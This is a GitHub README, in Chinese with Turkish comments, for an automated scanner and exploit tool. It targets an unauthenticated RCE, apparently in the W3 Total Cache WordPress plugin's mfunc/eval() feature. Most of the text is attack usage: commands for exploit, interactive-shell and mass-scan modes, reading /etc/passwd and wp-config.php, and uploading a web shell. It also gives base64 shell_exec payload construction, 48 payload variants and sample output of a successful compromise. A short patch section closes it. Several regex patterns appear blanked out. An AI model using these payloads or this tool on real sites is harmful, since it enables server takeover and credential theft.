xxconi/CVE-2026-27384

GitHub: xxconi/CVE-2026-27384

针对 WordPress W3 Total Cache 插件 mfunc/eval() 远程代码执行漏洞(CVE-2026-27384)的自动化扫描与利用工具,支持无认证条件下通过评论注入实现 RCE。

Stars: 0 | Forks: 0

# CVE-2026-27384 # CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE 扫描器 ## 📌 漏洞概述 W3 Total Cache 插件的 **Dynamic Fragment Caching** 功能(`mfunc/mclude` 系统), 会使用 `eval()` 执行嵌入在 HTML 注释中的 PHP 代码。 负责保护此功能的 `W3TC_DYNAMIC_SECURITY` token,由于多个代码缺陷的结合, 可被绕过。 **结果:** 无需身份验证,只需发送一条 WordPress 评论, 即可在服务器上执行任意 PHP 代码。 ## 🔍 漏洞概述表 | 字段 | 值 | |---|---| | **CVE ID** | CVE-2026-27384 | | **CVSS** | 9.8 Critical | | **类型** | 代码注入 → RCE (CWE-94) | | **受影响版本** | <= 2.9.1 | | **已修复版本** | 2.9.2 | | **身份验证** | 不需要 | | **用户交互** | 不需要 | | **前提条件** | W3TC_DYNAMIC_SECURITY 必须包含 regex metacharacter | ## ⚙️ 技术分析 ### 功能:mfunc / mclude W3TC 的 Dynamic Fragment Caching 功能允许开发者通过特殊的注释标签 将 PHP 代码嵌入到页面 HTML 中: ``` ``` W3TC 在从缓存提供页面时会处理这些标签: 嵌入的 PHP 代码会通过 `eval()` 执行,其输出将替换注释块。 ### 缺陷 1 — 缺少 `preg_quote()` (`PgCache_ContentGrabber.php`) ``` // VULNERABLE — 2.9.1 public function _parse_dynamic( $buffer ) { $buffer = preg_replace_callback( // ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor // preg_quote() YOK → token regex pattern gibi davranır '~~Uis', array( $this, '_parse_dynamic_mfunc' ), $buffer ); } ``` 如果 Token 是 `'.'`,则正则表达式变为 `` → **任意单个字符** 都可以替代 Token。 ### 缺陷 2 — `\s*` vs `\s+` 不匹配 | 功能 | 匹配模式 | 行为 | |---|---|---| | `_parse_dynamic()` — **执行** | `mfunc\s*TOKEN` | 接受 0 个空格 ✅ | | `strip_dynamic_fragment_tags_from_string()` — **清理** | `mfunc\s+TOKEN` | 强制至少 1 个空格 ❌ | ``` Saldırgan payload: ↑ mfunc ile token arasında BOŞLUK YOK strip fonksiyonu: \s+ → eşleşmez → payload KALIR execution regex: \s* → eşleşir → eval() ÇALIŞIR ``` ### 缺陷 3 — 缺少 Token 验证 (`_has_dynamic()`) ``` // VULNERABLE — 2.9.1 public function _has_dynamic( $buffer ) { // ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) { return false; } return preg_match( '~~Uis', $buffer ); } ``` ### 完整攻击链 ``` W3TC_DYNAMIC_SECURITY = '.' (regex metacharacter — herhangi bir karakter) │ ▼ Saldırgan yorum gönderir: │ ▼ strip_dynamic_fragment_tags_from_string() Pattern: mfunc\s+[^\s]+ → \s+ gerektirir, boşluk yok → ATLATILDI ✅ │ ▼ Yorum veritabanına kaydedilir, sayfa cache'lenir │ ▼ İkinci HTTP isteği → W3TC cache'den sunar _has_dynamic() → mfunc\s*. → 'A' eşleşir → true döner │ ▼ _parse_dynamic() → preg_replace_callback Pattern: mfunc\s*. → 'A' eşleşir │ ▼ _parse_dynamic_mfunc() → eval("echo shell_exec('id');") │ ▼ uid=33(www-data) gid=33(www-data) groups=33(www-data) → Unauthenticated RCE ✓ ``` ## 🔴 攻击影响 无需身份验证,即可在服务器上以 Web 服务器权限执行任意 PHP 代码: - ✅ 完全控制服务器 - ✅ 读取/写入/删除 WordPress 文件和数据库 - ✅ 安装 Web shell / 后门 - ✅ 渗透到内部网络 (Pivot) - ✅ 窃取凭证、API 密钥和用户数据 ## 🚀 安装 ``` git clone https://github.com/kullanici/cve-2026-27384 cd cve-2026-27384 pip install -r requirements.txt ``` **requirements.txt** ``` requests beautifulsoup4 ``` ## 📖 使用说明 ### 模式 | 模式 | 说明 | |---|---| | `auto` | 扫描站点 → 查找评论页面 → 执行 exploit(默认) | | `exploit` | 直接利用 — 提供评论的 post URL | | `shell` | 交互式 shell | | `detect` | 仅检测 W3TC | ### Auto 模式 — 全自动化 ``` python w3tc_rce.py https://hedef.com ``` 扫描器会执行以下操作: 1. 检查是否安装了 W3TC 2. 通过 Sitemap 和链接抓取,寻找带有评论表单的页面 3. 对每个页面尝试 48 种 payload 变体 4. 如果成功,则提供开启 shell 的选项 ### Exploit 模式 — 直接利用 ``` # id 命令 python w3tc_rce.py https://hedef.com \ --mode exploit \ --post-url https://hedef.com/?p=1 \ --cmd id # 读取 /etc/passwd python w3tc_rce.py https://hedef.com \ --mode exploit \ --post-url https://hedef.com/?p=1 \ --cmd "cat /etc/passwd" # 读取 wp-config.php python w3tc_rce.py https://hedef.com \ --mode exploit \ --post-url https://hedef.com/?p=1 \ --cmd "cat /var/www/html/wp-config.php" # 手动 Post ID python w3tc_rce.py https://hedef.com \ --mode exploit \ --post-url https://hedef.com/merhaba-dunya/ \ --post-id 1 \ --cmd whoami ``` ### Shell 模式 — 交互式 ``` python w3tc_rce.py https://hedef.com \ --mode shell \ --post-url https://hedef.com/?p=1 ``` Shell 开启后,会自动执行 `whoami`、`hostname`、`pwd`、`uname -a`: ``` ================================================================= CVE-2026-27384 — W3TC mfunc Interactive Shell URL : https://hedef.com/?p=1 Payload: b64_shell_exec (bypass='A') ================================================================= User : www-data Host : web01.hedef.com PWD : /var/www/html OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP ================================================================= Komutlar: exit | upload | download ================================================================= ┌──(w3tc@hedef.com) └─$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) ┌──(w3tc@hedef.com) └─$ upload shell.php /var/www/html/shell.php [+] Upload: shell.php → /var/www/html/shell.php ┌──(w3tc@hedef.com) └─$ download /var/www/html/wp-config.php [+] Download: wp-config.php → wp-config.php (4821 bytes) ``` ### Detect 模式 — 仅检测 ``` python w3tc_rce.py https://hedef.com --mode detect ``` ``` [+] W3TC kurulu! Sürüm : 2.9.1 Cache : True [!] Sürüm 2.9.1 ZAFİYETLİ (<= 2.9.1)! ``` ### 批量扫描 ``` python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt ``` ### 使用代理 ``` python w3tc_rce.py https://hedef.com \ --mode exploit \ --post-url https://hedef.com/?p=1 \ --proxy http://127.0.0.1:8080 \ -v ``` ## ⚙️ 所有参数 | 参数 | 简写 | 说明 | 默认值 | |---|---|---|---| | `url` | — | 单个目标 URL | — | | `--list` | `-l` | 目标列表文件 | — | | `--mode` | — | 运行模式 | `auto` | | `--cmd` | — | 要执行的命令 | `id` | | `--post-url` | — | 带有评论的页面 URL | — | | `--post-id` | — | WordPress post ID | — | | `--max-pages` | — | Spider 最大抓取页面数 | `50` | | `--threads` | `-t` | 线程数 | `10` | | `--output` | `-o` | 输出文件 | `w3tc_results.txt` | | `--proxy` | — | 代理 URL | — | | `--no-color` | — | 无颜色输出 | `False` | | `--verbose` | `-v` | 详细输出 | `False` | ## 💀 Payload 结构 ### mfunc 无空格绕过 ``` Standart tag (strip tarafından yakalanır): ↑ boşluk var → \s+ eşleşir → strip siler Bypass tag (strip'i atlatır, eval() çalışır): ↑ boşluk YOK → \s+ eşleşmez → strip ATLAR \s* eşleşir → eval() ÇALIŞIR ``` ### Base64 编码 为避免 HTML 编码问题,PHP 代码会进行 base64 编码: ``` # 命令: id b64_cmd = base64.b64encode(b"id").decode() # → "aWQ=" php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));" # → echo shell_exec(base64_decode('aWQ=')); payload = f"" ``` ### 48 种 Payload 变体 | 分组 | 函数 | 绕过字符 | 编码 | |---|---|---|---| | b64_shell_exec | `shell_exec` | A, B, X, 1 | Base64 | | b64_system | `system` | A, B, X, 1 | Base64 | | b64_passthru | `passthru` | A, B, X, 1 | Base64 | | b64_exec | `exec` | A, B, X, 1 | Base64 | | b64_popen | `popen` | A, B, X, 1 | Base64 | | raw_* | 所有函数 | A, B, X, 1 | 原始格式 | ## 🔄 Exploit 流程 ``` 1. W3TC Tespiti └─ readme.txt, header, body, plugin dizini 2. Yorum Sistemi Tespiti └─ HTML form, REST API, post ID 3. Payload Enjeksiyonu (48 varyant) ├─ REST API: POST /wp-json/wp/v2/comments └─ HTML Form: POST /wp-comments-post.php 4. Cache Tetikleme ├─ 1. istek → cache miss → sayfa render → cache'lenir └─ 2. istek → cache hit → _parse_dynamic() → eval() 5. Çıktı Çıkarma └─ uid=, whoami, /path/, passwd, wp-config... ``` ## 🖥️ 示例输出 ### Auto 模式 ``` ================================================================= CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE ================================================================= [*] Hedef: https://hedef.com Crawling: [████████████████████] 100% (50/50) | 8.3/s [+] Yorum sayfası: https://hedef.com/?p=1 (post_id=1) [1] W3TC tespiti... [+] W3TC bulundu! Sürüm: 2.9.1 [2] Yorum sistemi tespiti... [+] Post ID: 1 | Form: True | REST: True [3] Payload enjeksiyonu (id)... [i] 48 payload varyantı hazır [4] Cache tetikleniyor... [★] RCE BAŞARILI! ========================================================= URL : https://hedef.com/?p=1 Payload : b64_shell_exec (bypass='A') Komut : id Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data) ========================================================= [+] Sonuçlar kaydedildi → w3tc_results.txt [?] Shell aç? (y/n): ``` ### 批量扫描摘要 ``` Scanning: [████████████████████] 100% (100/100) | 4.2/s [★] 7 zafiyet bulundu! [+] Sonuçlar kaydedildi → w3tc_results.txt ``` ## 📁 文件结构 ``` cve-2026-27384/ ├── w3tc_rce.py # Ana scanner ├── requirements.txt # Bağımlılıklar └── README.md # Bu dosya ``` ## 🛡️ 防御 / 补丁 | 措施 | 说明 | |---|---| | **插件更新** | 升级至 W3 Total Cache 2.9.2+ 版本 | | **禁用 mfunc** | 如果未定义 `W3TC_DYNAMIC_SECURITY`,该功能将无法工作 | | **强 Token** | Token 应仅包含字母数字字符 (`[a-zA-Z0-9_]+`) | **安全的 token 示例 (`wp-config.php`):** ``` // ❌ Tehlikeli — regex metacharacter define('W3TC_DYNAMIC_SECURITY', '.'); define('W3TC_DYNAMIC_SECURITY', '.*'); // ✅ Güvenli — alfanümerik define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v'); ``` **2.9.2 补丁 (`_parse_dynamic()`):** ``` // PATCHED — 2.9.2 $token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' ); // ✅ preg_quote eklendi $buffer = preg_replace_callback( '~~Uis', // ✅ \s+ (en az 1 boşluk) ... ); ``` ## ⚠️ 法律警告 ## 📄 许可证 MIT 许可证 — 仅用于教育和研究目的。 ## 🔗 参考 - [Wordfence 公告](https://www.wordfence.com/threat-intel/vulnerabilities/) - [W3 Total Cache 插件](https://wordpress.org/plugins/w3-total-cache/) - [CODE WHITE GmbH](https://code-white.com) - [CWE-94: 代码生成控制不当](https://cwe.mitre.org/data/definitions/94.html) - [OWASP 代码注入](https://owasp.org/www-community/attacks/Code_Injection) - [PHP eval() 安全](https://www.php.net/manual/en/function.eval.php) - [PHP preg_quote()](https://www.php.net/manual/en/function.preg-quote.php)
标签:CISA项目, Go语言工具, OpenVAS, PHP, WordPress插件, 加密, 漏洞扫描器, 编程工具, 远程代码执行, 逆向工具